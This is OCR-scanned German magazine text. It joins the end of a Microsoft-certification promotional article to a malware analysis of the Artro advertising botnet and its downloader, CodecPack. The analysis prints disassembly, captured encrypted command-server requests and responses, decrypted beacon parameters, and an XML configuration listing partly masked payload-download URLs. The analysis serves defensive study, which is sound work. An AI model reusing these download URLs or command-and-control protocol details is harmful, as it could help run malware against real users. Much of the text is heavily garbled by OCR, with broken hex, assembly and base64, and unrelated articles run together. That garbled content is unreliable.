den. Sie richten sich an Personen, die sich bereits
durch praktische Erfahrung fundiertes Wissen ange-
eignet haben oder sich arbeitsbedingt in dem einen
oder anderen IT-Bereich spezialisieren méchten und
Ihr Wissen dann schwarz auf weif® mit einem Zertifikat
zu belegen.

Aber was bringt eine Microsoft-Zertifizierung eigent-
lich dem Arbeitnehmer oder Arbeitgeber?

Mit einer MCTS MCPD oder MCITP Zertifizie-
rung erhalten Weiterbildungsinteressierte ein inter-
national anerkanntes IT-Zertifikat, das lhnen uber-
durchschnittliche Kenntnisse in einer bestimmten
Microsoft Technologie bescheinigt. Auf dem Arbeits-
und Projektmarkt werden gerade jene spezialisier-
ten IT-Fachkrafte nachgefragt, was zu verbesserten
Jobchancen fuhren kann in Kombination mit der rele-
vanten Berufserfahrung. Die Microsoft-Zertifizierun-
gen dienen allgemein als Qualitatskriterium fur den
erworbenen Ausbildungsgrad. Sie beinhalten stan-
dardisierte und damit vergleichbare Qualifizierun-

D ie Richtung bzw. das Zertifizierungsziel bestimmt
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gen und bescheinigen .NET Entwicklern, Anwendern
bzw. IT-Administratoren oder IT-Professionals aus-
reichende Expertise in einer Microsoft-Technologie.
Arbeitgeber und Arbeitnehmer kénnen sich an den
Qualitatskriterien einer Microsoft-Zertifizierung orien-
tieren, was eine konkrete Einsatzplanung in Projek-
ten erleichtern kann. Dartber hinaus erhalten zerti-
fizierte IT-Fachkrafte regelmallige Einladungen zu
Microsoft Konferenzen, technischen Trainings sowie
Fachveranstaltungen und erhalten so weiteres rele-
vantes Know-How, um ihre Expertise weiter auszu-
bauen oder wertvolle Netzwerke in der IT-Branche zu
knupfen.

Aber auch fur den Arbeitgeber ist eine Zertifizie-
rung der Mitarbeiter mit einigen Vorteilen verbunden.
Bedingt durch die héhere Qualifikation ihrer Arbeit-
nehmer oder projektverantwortlichen Consultants
kénnen Projektzeiten verklrzt werden, was mit Ein-
sparungspotentialen verbunden ist. Damit einherge-
hend ist ein effizienteres Zeitmanagement und ge-
steigerte Produktivitat. Auch die Teamperformance
insgesamt steigt. Ein weiterer Nutzen der Microsoft
Zertifizierung liegt in den geringeren Supportaufwen-
dungen. Aufgrund des hdheren Wissensstands der
Mitarbeiter zu den eingesetzten Microsoft-Techno-
logien kénnen Support-Falle und andere Schwierig-
keiten im Umgang mit diesen minimiert werden. Mit
dem positiven Zusatznutzen, das sowohl die inter-
ne, als auch die externe Service-Qualitat gesteigert
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werden kann. Durch eine klare Definition des Trai-
ningsbedarfs kann die Mitarbeitermotivation sowie
Karriereplanung und-férderung einzelner Mitarbeiter
gezielter erfolgen. Aullerdem hat ein zertifizierter Mit-
arbeiter fur Unternehmen, die den Partner-Status von
Microsoft anstreben, einen Zusatznutzen. Da jeder
zertifizierte IT-Professional dazu beitragt, diesen Sta-
tus auch zu erreichen.

Um sich im Weiterbildungs-Dschungel zurechtzufin-
den, bedarf es einigen Recherche-Aufwand vorneweg.
Ist dann das passende Ausbildungsangebot in Sicht,
geht es in einem zweiten Schritt um die Finanzierung.
Wenn der Arbeitgeber die IT-Weiterbildung nicht zahlt,
gibt es verschiedene Fodrder- und Finanzierungsmaog-
lichkeiten wie bspw. die Bildungspramie einzelner Bun-
deslander. Eine Ubersicht aller derzeitigen Foérderarten
findet sich hier.

Und wie bereitet man sich am besten auf eine Pru-
fung von Microsoft vor, um diese auch auf Anhieb zu
bestehen? Braindumps und Zertifizierungscamps ver-
sprechen schnelle Erfolge, sind aber langfristig ge-
sehen nur bedingt zu empfehlen. In allen Fallen ist
immer eine ausreichende Berufserfahrung als Zulas-
sungsvoraussetzung erforderlich, um auch tiefer in die
Materie einzusteigen und ein wirklicher IT-Professio-
nal bzw. Specialist zu werden. Die IT-Akademie MI-
NERVA hat sich diesem Thema kritisch genahert und
einen Beitrag hierzu verfasst, zu finden auf dem Blog
unter:  http://minerva.ppedv.de/Blog/Lists/Beitraege/
Post.aspx?ID=16

Wer weitere Informationen rund um das Thema Zer-
tifizierung braucht, findet auf diesem Blog auch weite-
re Literaturempfehlungen zu einzelnen ausgewahlten
Zertifizierungspfaden. Alternativ gibt es im September
2011 auch 2 Informationsveranstaltungen in Minchen
und Karlsruhe, auf der Interessierte einen weiteren Ein-
blick erhalten.

Uber IT-Akademie MINERVA:

Die IT-Akademie MINERVA (minerva.ppedv.de) wur-
de im Oktober 2010 als Tochterunternehmen der
ppedv AG (Microsoft Partner Gold Learning) mit Sitz
in Burghausen gegriindet. Fokus ist die berufsbeglei-
tende Microsoft Weiterbildung und Zertifizierung von
IT-Professionals, Entwicklern und Administratoren.
Das berufsbegleitende Kursmodell mit den modular
aufgebauten Zertifizierungspfaden adressiert das ge-
sellschaftliche Thema ,lebenslanges Lernen” und wird
heutigen Anspriichen der Arbeitswelt hinsichtlich opti-
maler Vereinbarkeit von Beruf und Weiterbildung ge-
recht.

» HarIN9
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Das Werbe-Botnhetz Artro

Alexey Kabiev, Maria Garnaeva

Das Botnetz Artro, dessen Bots von den Kaspersky-Produkten
als Trojan-Downloader.Win32.CodecPack erkannt werden, ist

bereits seit 2008 bekannt. Trotzdem gibt es bis heute keine
vollstandige Beschreibung seiner Funktionalitat. Um das zu
andern, mochten wir im Folgenden die Ergebnisse unserer

Untersuchungen zu Artro vorstellen.

IN DIESEM ARTIKEL ERFAHREN SIE...

- was das Botnetz Artro ist

WAS SIE VORHER WISSEN SOLLTEN...

« was ein Botnetz ist

Familien und Modifikationen. Statistik und
Veranderungen

Fur den Aufbau des Botnetzes ist ein Downloader ver-
antwortlich, den wir als Trojan-Downloader.Win32.
CodecPack bezeichnen. Dieser Trojaner wird von ei-
nem Packer geschutzt, dessen Code stark mit Pseu-
docode verschleiert ist. In der Regel sollen Packer die
Erkennung des gepackten Schadlings weitestgehend
erschweren, schiitzen den Code aber nicht vor einer
Analyse. Auch dieser Fall bildet keine Ausnahme, denn

das Programm lasst sich problemlos entpacken. Nach
dem Entpacken der Funktion WinMain sehen die ver-
schiedenen Varianten des Trojaners in etwa gleich aus.
Cyberkriminelle versuchen dennoch, ihren Code mit ei-
ner Unmenge unsinniger Befehle vor einer Analyse zu
schutzen.

Der Junk-Code ist polymorph und besteht aus
Code-Blocken, die verschiedene Operationen an
denjenigen globalen Variablen durchfihren, die kei-
nen Hauptcode verwenden. Zudem enthalten die

CODE :
CODE :
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE :
CODE :
CODE :
CODE :
CODE :
CODE:
CODE:
CODE:
CODE:
CODE:

aesyeab ey 54

aesBnD B8 BB EC

ae4eADoBA 83 EC 74
aesenbeD 53

A048ADBE 56

aosenDeF B? 38 57 41 60
ae4enD14 EB E6 93 FF FF
ae48AD19? EB 41 FD FF FF
A040AD1E 84 CB

ae4enb28 BF 85 34 B4 B0+
ae4eab26 66 FF B85 B2 53+
aesenbd2D EB A3 6B FF FF
aesenD32 33 DB

aghenD34 B4 CA

ae4eab36 75 6C

ae4enD38 EB 1C FC FF FF
ae48aD3D 84 CA

ae48AD3F 88 SD FF
ae4enDY2 74 B4

push ebp

mou ebp, esp

sub esp, 74h

push ebx

push esi

mou ecx, offset APITable
call nullsub_1

call CheckInternetConnection
test al, al

jnz return

inc ds:garb_uwé |

call GetHachineInfo

®xor ebx, ebx

test al, al

jnz short loc_L4BADL4Y

call CheckSysinternalsWindow
test al, al

mou [ebp+IsUnderDebugging], bl
jz short loc_L4BAD4E

Abbildung 1. Funktion WinMain des gepackten Downloaders Trojan-Downloader.Win32.CodecPack

hakin9.org/de
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ABWEHR

Junk-Abschnitte API-Funktionen, deren Ausfiihrung
aber keinen Einfluss auf die Funktionsfahigkeit des
Trojaners hat. Das Ergebnis dieser Verschleierung ist
ein Code, der fur einen einfachen Downloader Uber-
aus kompliziert ist.

Unter all den interessanten Merkmalen von Trojan-
Downloader.Win32.CodecPack ist eines besonders
erwahnenswert. Der Trojaner Uberprift, ob er auf ei-
ner virtuellen Maschine oder unter einem Debugger
lauft. Doch im Gegensatz zu den meisten anderen
Schadlingen, die ihre Ausfihrung stoppen, sobald

sie einen Debugger oder eine virtuelle Maschine er-
kennen, um solch eine dynamische Analyse zu er-
schweren, sendet CodecPack in solchen Fallen die
Ergebnisse seiner Uberpriifung einfach an den Steu-
erungsserver.

Alle Zeilen innerhalb des Trojaners sind mit Hilfe
des Algorithmus RC4 verschlisselt und werden jedes
Mal entschlUsselt, wenn sie bendtigt werden. Dabei
steht am Anfang der ersten beiden Bytes der Dechif-
frierungsschlissel. Diese Zeilen sind fur jedes Sam-
ple einzigartig, denn sie erganzen eine in den Troja-

CODE:-8848AECY 58 push eax

CODE:B84BAECS 56 push esi

CODE:804BAECG 8D 4D 9C lea ecx, [ebp+Url]

CODE:884BAECY? FF 15 74 18 41+ call ds:?assign@?shasic string@DU?$char_traits@D@stde?sallucatur@D@Z@Estd@EunEnnM2@PBD
H T3 &1 00 nou al, byte ptr ds:igarb_u5

CODE:BO4BAEDY F6 2D 2C 53 Wi+ imul byte ptr ds:garb_d4

CODE:B040AEDA BB B85 88 53 41+ ad_d ds:garb_b1, al \
B 5D Ak cnp [ebp+uar_5C], ebx

CODE:BB4BAEE3 76 38 jbe short lo_c LBAF1D Junk-Code
H E5 FF 15 40 18 M+ call ds:hetburrentProcessTd

| CODE:BB4BAEER 66 A3 0A 53 41+ nou ds:garb w7, ax I'/

H moy eax, ds:oftset_FFFFFFFF

CODE:8048AEFG 8D 4D 9C lea ecx, [ebp+Url]

CODE:B84BAEF? FF 38 push dword ptr [eax]

CODE:-804BAEFE 8D 45 CC lea eax, [EhpfStringTuEncndE]

CODE:B84BAEFE 53 push ebx

CODE:B04BAEFF 508 push eax

CODE:-8048AF0A FF 15 6C 180 41+ call ds:7a end@?$hasic_5tl‘ing @EDEstdEEU?$allocator@DE2EES tdERYAEAAY12@ABL
B 17 push 175|5FFFFE H /9823dehj9823dj.php?ini=v22HyTyySIzxXTUMVUFHERE2

CODE:8B4BAFAB 68 FF FF 35 C4 push BC435FFFFh

CODE:B04BAF18 EB 6A 79 FF FF call garb_proc_3

CODE:B040AF15 81 85 3¢ 53 W1+ add ds:garb_d3, eax

CODE:B048AF1B 59 pop ecx

CODE :884BAF1C 59 pop ecx
H b

CODE : 084BAF1D loc 40AF1D: EF: WinHain{x,x,x,x)+1DCT]
W LR MOUSX __ eax, ds:
H 3514 5B 1+ moy es1, ds: 5 Uhttp:/sf /9823dehj9823dj .php?ini="
| :::E:::::::m] 25 FF FF /A 92 and eax, YZ/AFFFFR
CODE:-0B4BAF2F 61 B85 2C 53 41+ add ds:garb_d4, eax
H nou al, [esi]
CODE:B84BAF37 B4 4B add al, 48h

Abbildung 2. Junk-Instruktionen in einem Fragment des disassemblierten Trojaner-Codes

POST /o54p6ipo546ipo6. php?
ini=;22MannHYfXCWIOEFCUQOE50LPVIYg40tcPHid3LUoch7U2UWOm2rzUlrHIQquMqVVSJHEAiBMF4QB33sziRtqupKXBMPtpuo?u1A==
HTTE/1.1

User-agent: Mozilla/6.0 (windows; wget 3.0)

Host: ot T Tes . in

Accept: */*
Content-Type: application/x-www-form-urlencoded
connection: close

cache-Control: no-cache

content-Length: 193

data=q5r TzGLORMCyDNY9+xJEQe5SnNLundsMgfdgBGzUoI0xVTU,/DzQWC3DLbXE /UFETT1o06F 2ZIbLEGVIOMOITSDPOPX4a55 /0agy6l4 3bGpOy/
UGVSLVLOU+US+X5NraqI7DIakGg7 TCqXkTszGINUBX1KL /hKL20FYpjsSey0d x+zt2a9do+UISVhPOWASHTTR/1.1 200 OK

server: nginx/0.7.67

pate: Fri, 04 Feb 2011 23:17:52 GMT

Ccontent-Type: text/html

Transfer-encoding: chunked

Connection: close

X-Powered-By: PHP/5.2.11

65¢C

477 exXC8cAdmxHMCg+QoZUPF i eulWs asBANSMIEYNjO 1 tZ TkONmky D DH+QQjWKR 1 TXI3MEpIRIgCLOKWIAGAgISTCq+7Vre2vZ6cBv+a

+1n7uURBCHUY BgvLoo3sN7 YgxrGBbeHgvNHe2vEYZQbC Scmyb18xnJ j4Z e4 DOaL4Nvk 6mOjuMfLaNRtIwK2 jVILMVonwYDZhQVITCCLCBK/
jasl2iecyFsFolglI+v+1GTo8iCw]i19v63r 1QlwdvDjgcdlvdhmxok3bwNTwFBmkitR2ZMZ /5303 TxwlafIKjinhuuDR1IVIsSeLFzTod742Zcy/
Pifsykiip2isfnyebl3cZhvH3IkxKO3swayP+1QBLr C7 KPXNAUYPE jWwOeXIGZmyVIU7DXjAJ1+PUmMU4TTpWpBYVNTEPjkCudbTqGESESSNGTIX+/
zhzpolegDVPIZ 1xx00LXEBMX2dQITO7 16GH7 qEEOZ 5SkZAI7100GGECPLEeIwWgY1lydmawLoQvsiHoL / /EZMFZMWESh//
Tkxwep2tscwdscwkakghLoknwkdn,/cMzvguM jSFj0dTwgdjypas0oQIdrup,/7FC4 jNUISpimMIVI+7CMA0PBAXSAVCUZIP /WRMVTQaAaT4 I3wFMtk/
K1vTdSd4eyrH48xvesscUrFuEedussgecti /BmNDHAT /wC/3RSNbD3dG50jrAjsIshecQHyBjhNz SkoMloxsqCIASQVARORY10,/D0aIHKDHWGGEX
+wKOD7 B5mXCcU7 0H35A157U9P0CI3vae3Ive/zdZsQok4QIIFWE4VOCX2Ed4 i pL5BTTyoi KRoOHM T TNOESRVpdE
+AVYEDE33ZE?4KNALfCDmFkGh?quH?X/BQ456NpGNMWT

+pE2IEYrDOBtBIN9jnhyR5T cqplqos lyay1TyBoHIftstYewqdAIkMgXxmeBLasSYMGY jewjKHAZIL BN25 CPVWCHWAS6EL 5001yD1u9r X03pMpRedpd j7
FfywazDXVITr nkRFGzwldnipxscdyYoVBcOVPEWWLXQ2TaGHYKjhFpYbibuiABWHBKDgxbZtYTMgNMgd 5eFTEYrMY 38171 nsKDyWS6ecEJgmR jXAwsqPN
xX1gI3ZzKR7k5kYIs60gdTVBVbReidhBTPab8hDaMyKbwROhItSeIyUygGdTtIMILtbLaNT6Tn8rrg8yjuLAdulravoMF1Th,/
uJkYKRWF76051Aa1T5eD+n 1 GLFed+QpUtZFf32ww5UxdQq0bo3ef pE6VZANROGE c2uDwKpYxLumd9v /Jar agjDf TBOMXCIYGT bb7 9
+CimsvOlECY7CyyOD,/ WISI0bjHHODO2 BarRGOT7 1 uyADTRX1 8amMmmxqk 1 xnET1DZ+YGepflfdSpjidcBodPVvIChOR+ 9K+

+TVyJFuxdiEUsLBaLuMafmb7 6ZKTuFuisgiGnovHE+PLvMM+8ze7 wibBVUEQGT XWMr XFDr gpx5rqOvVDr+oT33ThRs IpAOgPmvz 1 ewQDyyv31Aa
+Ux2p91RjpxURIsbms+gpTiCcgiufanHf2X1BERZSbIjY1ZzIaPZRKHRET13LEG
+meEQTSEFJRQMFTZLaRpjByszGYRmejquBp5C4Y3DuntNHRBXZFqFASBIjm4=

0

Abbildung 3. POST-Anfrage des Downloaders an das Steuerungszentrum und die erhaltene Antwort
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ner-Code integrierte Konstante um einen zusatzlichen
Wert.

Nach seinem Start Uberprift Trojan-Downloader.
Win32.CodecPack als erstes die Internetverbindung,
indem er verschiedene DNS-Anfragen an populare
Webseiten wie wordpress.com, walmart.com oder pho-
tobucket.com sendet, die mit hoher Wahrscheinlichkeit
zu jeder Tages- und Nachtzeit erreichbar sind. Besteht
keine Verbindung zum Internet, beendet CodecPack

seinen Prozess. Ist der infizierte Computer hingegen
im Netz, sammelt der Downloader Informationen Uber
den infizierten Rechner, darunter die Seriennummer
der Partition, auf dem sich der Windows-Ordner befin-
det sowie die Version des Betriebssystems. Der Schad-
ling Uberprift auBRerdem, ob der aktuelle Anwender im
System Uber Administratorrechte verfligt, und ob der
Trojaner auf einer virtuellen Maschine oder unter einem
Debugger ausgefiuhrt wird. Anschlie3end schickt er die

Listing 1. xxxxxxxxxxx

417exXC8c4mxHmcg+QoZUPFieulWsasB4NSMIEYNJOLltZTkONmkyDiDH+QQJWKRITxI3M6pIRIGCLOkwlAGagIls7Ca+7Vre2vZ6c8v+a+ln7uRBC6U
78gvLo03sN7YgxrG8beHgvNHe2vEYzQbC5cmybl8xnJj4Ze4D0al4Nvkom0juMfLaNRt1wK2jV1LMVonwYDZhQVITC
cLC8K/jaS12iGyFsFOJqlI+v+1GTo8iCwjl9V63r1QlwdvD]jgc91lvdhMXOK3bWNIwF8mkitR2ZMZ/sJ031xwlAfJK]1
NhuuDR11VIseLFz70d742%cy/PifsYkiiD2iSfnyGbl3c2hVH3kXK0O3swayP+1QBLrc7kPxNAUYPBjwOexIGzmvVIu7Dx
JAF1+PumU4TTpwpByVNtEpj kCudbTgG8SE85NGTIX+/2zhzpolGgDVPI21xx00Lx8MX2dQ9TO716GH7q6BOZ
5kZAI7100GGEcPLEeIwgY1ly9mawLoQVSiHoL//E2MFZMW85b/ /1KxW6p2tSCwdScikakghLoknwKdn/CMzvgWMj SFj0dl
WqdjypaeOQIdRUp/7£C4InUI5pimMIvI+7CM40P84XSAVCUZ 9P /WRMVEQaAT 4I3WEMt k/K1VTd5d4eyrH48XVCsscUr
FuEedu65gcc6i/BmNDHAt /wC/3RSnbD3dG50j rAjsJdSheGQHyBjhNz5koMloxsqCIASQVAhIRY10/D0aJHkDHWGGX+WKO
D785mxcU70H35A157U9P0cJI3vae3Ive/zdZsQok4QIIFwB4VoCX2Ed4ipL5Bt £yoiKROHM1ITn0ESRVPAE+AVYEDE332zE7
4KNALfcDmFkGh7dgXHgX/BQ4s6NpGNMwT+pE2 IEyrDOBtBIN9jnhyR5fcQpIQoSlyaylfY8oHIftstYeWqdAIkMgXxmeB
taSYMG7jewjKHAZ1L8N2scPVwcHWa56EL500JyD1u9rX03pMpRedpdjTFfYwazDXVITrnKRfGzwl4dnipxscdYoV
8COVP6WW1XQ2TaGHYKjhFpYbibUiABWHSKDgxbZt YTMgNMq4 5e FTEY rMY 981 7insKDyWS 6e cEJqmR] XAwsqPNxX 19137z
KR7k5kYIs60gdTV8VbReidhBTPab8hDGMvKbwROhItSeIyUYqGdltIMILtbLaN16Tn9rrg8yjulAdulravoMF1Th/ulk
YKRwE760SJAaJT5eD+n1GLFed+QpUt ZFf32Ww5UxdQQ0bo3efpE6V2dNRQGec2ubDwKpYxLumd9VE/JaragjDET8IMXCOY
G7bb79+cjmsvI1Ecy7CyyOD/WISJI0bjHHOD028aRGO71iuYADfRX18aMmXQk1xnE1DZ+YGecpflfd5Dji4cBo4PVIChOR+9
K++TVyJFuXdiEUsL9aLUMafmb76ZKTuFuisgiGnOVH8+P1vMM+8ze Tw4dbBvUEqGtxWmrxFDrgpx5rg0VDr+0T33TbRSJpA
OgPmvz1ewQDyyV31A+Ux2p91RjpxURIsbmS+gpTiCgiufQnHf2X1BRZsbIjY1zJaPZRKHRB713LeG+FmwhQlsEFJRQMrT
ZLaRpj8yzbH6YRMEMINWu8p5C4Y30gKutNHRBXZzFqrASBI jmd=

Listing 2. xxxXxxxxxxx
<root>

<start><url crypt='gif’ post='on’>http://tw***dn.in/cursors/948daefdl2e38c8dafaefc612eab4d7bb45719228e4£06cbaadlbd
3a58a91c6292d6d1£f3c44aebeff4/b6647362a/cursor_upp.gif</url><url crypt='gif’ post='on’>http://
web***ith.in/cursors/24ad2ecdd213bc3d7£6e5c410eebe7cb050122284470cc0a7dlbe3d58a2186b9cdad7£9c
b43ede3£9/267493126/cursor_upp.gif</url></start>

<start><url crypt='gif’ post='on’>http://shu***edrive.in/werber/562473824/217.gif</url><url crypt='gif’
post='"on’>http://new***bridge.in/werber/b60413b27/217.gif</url></start>

<start><url crypt='gif’ post='on’>http://data***ykey.in/perce/247d5ebd92d36c6d7feefc31llecb67abf5d1420844a02cba2d
7Tb63259a21a6c99dfd7£3cclee9edfc/8674d352d/qwerce.gif</url><url crypt='gif’ post='on’>http://
filefo****online.in/perce/845dbecd62£37c9dbf9e0cllceab377b65d162e80430cc9a8d8b23£56a81d6£9dd9d
bf3c842ede3fc/d65493829/qwerce.gif</url></start>

<start><url crypt='gif’ post='on’>http://tw***dn.in/papers/e46d7ecd62b39c0d4fle3c318ebbl77b95a132d83460ac7a2d8
bc3c50a51d6£9cd5dbf3c045e3e5£6/6684£322a/paper.gif</url><url crypt='gif’ post='on’>http://
web***ith.in/papers/64bd5e9d82830c2d0f3eacclfeab27¢cb95£122582430ac5a8d1bc3151aelb6799d0d1£2¢9
41lede9f4/£66443a29/paper.gif</url></start>

</root>
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http://tw***dn.in/cursors/948daefd12e38c8dafaefc612eab47bb45719228e4f06c6aad1bd
http://web***ith.in/cursors/24ad2ecdd213bc3d7f6e5c410eebe7cb050122284470cc0a7d1bc3d58a2186b9cdad7f9c
http://web***ith.in/cursors/24ad2ecdd213bc3d7f6e5c410eebe7cb050122284470cc0a7d1bc3d58a2186b9cdad7f9c
http://shu***edrive.in/werber/562473824/217.gif</url
http://new***bridge.in/werber/b60413b27/217.gif</url></start
http://data***ykey.in/perce/247d5ebd92d36c6d7feefc311ecb67abf5d1420844a02cba2d
http://filefo****online.in/perce/845dbecd62f37c9dbf9e0c11ceab377b65d162e80430cc9a8d8b23f56a81d6f9dd9d
http://filefo****online.in/perce/845dbecd62f37c9dbf9e0c11ceab377b65d162e80430cc9a8d8b23f56a81d6f9dd9d
http://tw***dn.in/papers/e46d7ecd62b39c0d4f1e3c318ebb177b95a132d83460ac7a2d8
http://web***ith.in/papers/64bd5e9d82830c2d0f3eacc1feab27cb95f122582430ac5a8d1bc3151ae1b6799d0d1f2c9
http://web***ith.in/papers/64bd5e9d82830c2d0f3eacc1feab27cb95f122582430ac5a8d1bc3151ae1b6799d0d1f2c9
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gesammelten Informationen an das Steuerungszent-
rum. Bei den Domains, die diese Anfragen des Down-
loaders erhalten, handelt es sich Ubrigens nicht um ech-
te Steuerungszentren. Die Server, die diese Domains
bedienen, sind lediglich Reverse-Proxys und dienen
dazu, das tatsachliche Steuerungszentrum des Botnet-
zes zu verschleiern.

Erwahnenswert ist, dass alle Anfragen des Troja-
ners an die Steuerungsserver verschlisselt Ubermit-
telt werden. Die Chiffrierung lauft folgendermal3en ab:
Zunachst werden die Daten mit Hilfe des Algorithmus
RC4 verschlisselt und anschliefsend mittels des Algo-
rithmus Base64 kodiert. Die Antworten der Steuerungs-
zentrums sind ebenfalls verschlisselt und die Dechiff-
rierung erfolgt in umgekehrter Reihenfolge: Zuerst wird
die Antwort mit Hilfe von Base64 decodiert, dann mit
RC4 entschlusselt. Der Schllssel, der die Daten chiff-
riert und dechiffriert, ist fur alle Samples gleich und be-
findet sich im Trojaner-Body.

Bei der Anfrage an das Steuerungszentrum handelt
es sich um eine POST-Anfrage, die in der Zeile ,ini“ die
Zeichenkette

v22MnmDnHY £xCWI06FcUQOES0OLPvIYg40tcPHid3L0oHCW7U2UWO
2rzUlrHIQgMgMqVv8JHeAiBMF4QB33zfYiR
tufQPKX8MPtpuO7v1A==

enthalt, hinter der sich folgender Code verbirgt:

al=4ded23cdfecleb7b512840cadb35al69ddfcdeefsa2=00001920¢&
cd=Fri 04 2011,22:16:41

Die Zeile enthalt drei Parameter: ,a1“ ist der Identifika-
tor des Trojaners ,,a2“ gibt Auskunft Gber den Partner,
der fur den Download von CodecPack auf den Rech-
ner des Anwenders verantwortlich ist und ,cd“ enthalt
Angaben zu Datum und Uhrzeit. Die Zeile ,data” ist
ebenfalls verschlisselt:

qSrTzGLORMCyDnY 9+xJEQe5nNLundsMgqfdgBGzUoJ0xVTU/DzQWC3DL
bXB/UfETT106F2ZIbLEGVJIOMOJTSDPIPX
4a55/0ag¥6143bGp0y/uGVSLVLOu+tus+x5Nr

aqgI7DJaKGg7TCaXkTszGInUBxiK1/hKL20FY
pJisSeY04x+zt2a9d0O+UI5VhPOW4S

Entschlisselt sieht diese Zeile so aus:

wvbffv=updpov&admin=yes&wloapl=gcpxsp&os=Microsoft
Windows XP Professional Service Pack
2 (build 2600) &gymxsz=mkgflj&debug=no

ne&oeuprp=cbvhox

In der Zeile ,data“ erfahrt das Steuerungszentrum fol-
gendes:

» ob der Account, unter dem sich der Trojaner ge-
startet hat, Uber Administratorrechte verfugt (der
Parameter ,admin“ kann den Wert ,yes“ oder ,no“
annehmen)

» ob der Trojaner unter einem Debugger oder auf ei-
ner virtuellen Maschine ausgefuhrt wird. Dafur
steht der Parameter ,debug®, der folgende Wer-
te annehmen kann: ,none“, ,vmware®, ,vmware2®,
~mware3d“, ,msvpc”, ,msvpc2 ,cvpct, ,debug-
ger1, ,debugger2, ,debugger3®, ,debugger4®, ,de-
bugger5®, ,softice®, ,vm* oder ,vm2*

die Version des Betriebssystems (der Parameter ,,0s").

Der Sinn dieser Anfrage besteht darin, vom Steue-
rungsserver die Konfigurationsdatei zu erhalten. Das
Steuerungszentrum Ubermittelt sie als scheinbar unsin-
nige Symbolfolge (Listing 1.).

Nach der Entschlisselung verwandelt sich diese in ei-
ne Konfigurationsdatei im Format XML (Listing 2.).

Die Konfigurationsdatei hat eine recht simple Struktur.
Das Wurzelelement ,root* enthalt die Elemente ,start®.
Jedes davon benennt eine Datei, die geladen und aus-
gefihrt werden muss. Dazu enthalt das Element ,start*
seinerseits ,url“-Elemente, die Adressen fur den Down-
load angeben. Innerhalb von ,start kann es mehrere
solcher Elemente geben. Gelingt es dem Schadpro-
gramm nicht, eine Datei Uber den Link aus dem ersten
wurl“-Element zu laden, springt es weiter zum nachsten
Link.

W MINNESOTA
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Die Dateien werden in verschlisselter Form auf den
Computer des Anwenders geladen. Die Verschlisse-
lungsmethode gibt das Attribut ,crypt® des ,url“-Ele-
ments vor, das zwei Werte annehmen kann: ,gif* oder
.Fc4“. Man ahnt es schon, dass die letztgenannte Me-
thode die Datei mit Hilfe des Algorithmus RC4 chiffriert.
Der Wert ,gif* bedeutet hingegen, dass ein Bild im GIF-
Format geladen wird, zum Beispiel die folgenden (Ab-
bildung 4.).

Das Bild enthalt neben den eigentlichen grafischen
Daten auch die vom Algorithmus RC4 verschlisselte
ausfuhrbare Datei.

Die entschlisselten Dateien werden auf der Festplat-
te gespeichert und ausgefiihrt, nachdem der Downloa-
der seine Datei von der Festplatte geléscht und seinen
Prozess beendet hat. Die Aufgabe des Downloaders
besteht also darin, Uber die Links der Konfigurations-
datei die schadlichen Dateien zu laden und sie auf dem
Rechner des Anwenders zu starten.

Im Laufe der Untersuchungen des Botnetzes stellte
sich heraus, dass die Konfigurationsdatei des Down-
loaders nicht auf die Systeme von Anwendern aller
Lander geladen wird. So wurden bis zum heutigen
Tag keine Downloads auf Computer von Anwendern
in Russland, WeiRrussland und Kasachstan verzeich-
net — ihnen wird die Fehlermeldung ,404 Not Found*
angezeigt.

% Follow TCP Stream

Stream Cankent

Die Downloads: Adware/Klicker

In der Konfigurationsdatei des Downloaders befinden
sich in der Regel Links zu drei bis vier Programmen.
Die Links kdnnen auf schadliche Dateien verweisen,
welche die Betreiber des Botnetzes auf Bestellung von
.Branchenkollegen“ hochladen. Eine Liste solcher Da-
teien kann fir jedes Land gesondert vorliegen, in den
Download-Anweisungen fir bestimmte Lander aber
auch ganz fehlen. Allerdings gibt es Programme, die
der Downloader immer ladt — die Rede ist von Bots,
die Werbung anzeigen (Adware) sowie Links, Werbe-
banner und Popup-Fenster anklicken. Im Gegensatz zu
Dateien, die auf Bestellung auf die infizierten Computer
geladen werden, stammen diese Programme von den-
selben Autoren, die auch den Downloader entwickelt
haben. Das folgt aus zwei Tatsachen:

Erstens enthalt die Konfigurationsdatei des Downloa-
ders immer Links zu diesen Dateien. Es handelt sich
um die Mindestausstattung an zu ladenden Schadpro-
grammen, die die Haupteinnahmequelle fir die Betrei-
ber der Botnetze darstellen.

Zweitens erinnert der Code dieser Kategorie von Pro-
grammen stark an den Code des Downloaders: Es wer-
den dieselben Verschleierungsmethoden und derselbe
Algorithmus zur Zeilenverschlisselung (allerdings mit
anderen Schlisseln) verwendet. Die Dateien sind mit
demselben Packer gepackt. AulRerdem ist das Kom-

B=Es

POST sborders.php HTTR/1.1

GLCO

oM gwm STk W SChlk JRVOSA4 BMHTTR, 1.1 200 OK
Date: Sat, 29 Jan 2011 14:42:27 GMT
Server: apachesl.3.41 (Unix) PHR/5.2.6
w—Powered-By: PHP/3.2.86

Expires: Mon, 26 Jul 15597 05:00:00 GMT

Content-Type: applicationsxml;
130

+OLTMyGECh
+73TMB8x 1 sk 9agEw] 4

L Wi ' e Y P i WY B Tl W) P e sl Y e sl s T

ACcept: W

Content-Type: q11catianx—www—form—ur1encuded

User-Agent: Mozillas4.0 (compatible; MSIE 6.0; wWindows NT 5.00
Host:

Content-Length: 369

Connection: kKeep-alive

cache-Control: no-cache

data=/CiEfcrsukbdi /995hE2 6] Tn+avvtpL1F 28, wTgOgI+Tc49gqmMIjumMD IHCOr T BkG O+ FvCC

+1 pB;jOHp?ERCHP’l Y OBEMMULT glUwd by TIdM A P=UGP] aBzx ] cCSmphOlasgt /01 Sxwpz9HmOk 29T Bfaunlox s
RiHILvFsaATGYFsa oMWl KOESrkk3MazlygDhel Gw2s12

+OPMNrN1ZczhzZ8x NS Toohgd oquUs0EMTdKZbzy /hj 22Ty PROIB dybEg 4k TavEc] )
CTURTPZOYQFLCom3 gl ccEws FCF Ok Oxx+Rr Fowdavsd ni 23 IryB2 AQExMEM ] FUTD

must-revalidate

Last-mModified: sat, 29 Jan 2011 14:42:27 GMT
Cache-Control: no-store, no-cache,
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache

Connection: close

Transfer-encoding: chunked

charset=UTF-8
tTF'F'L4'FCng¥hF'LI1: BUSH1Be727 T NgdBNnAY /32 Thy57myIvpd4 StdGT Idhrsku =
ras SquwaJTgmaEpexuj QUWET ST 19dMbHDEVCPIrtz0k 0s/GUEXgoW STYisD

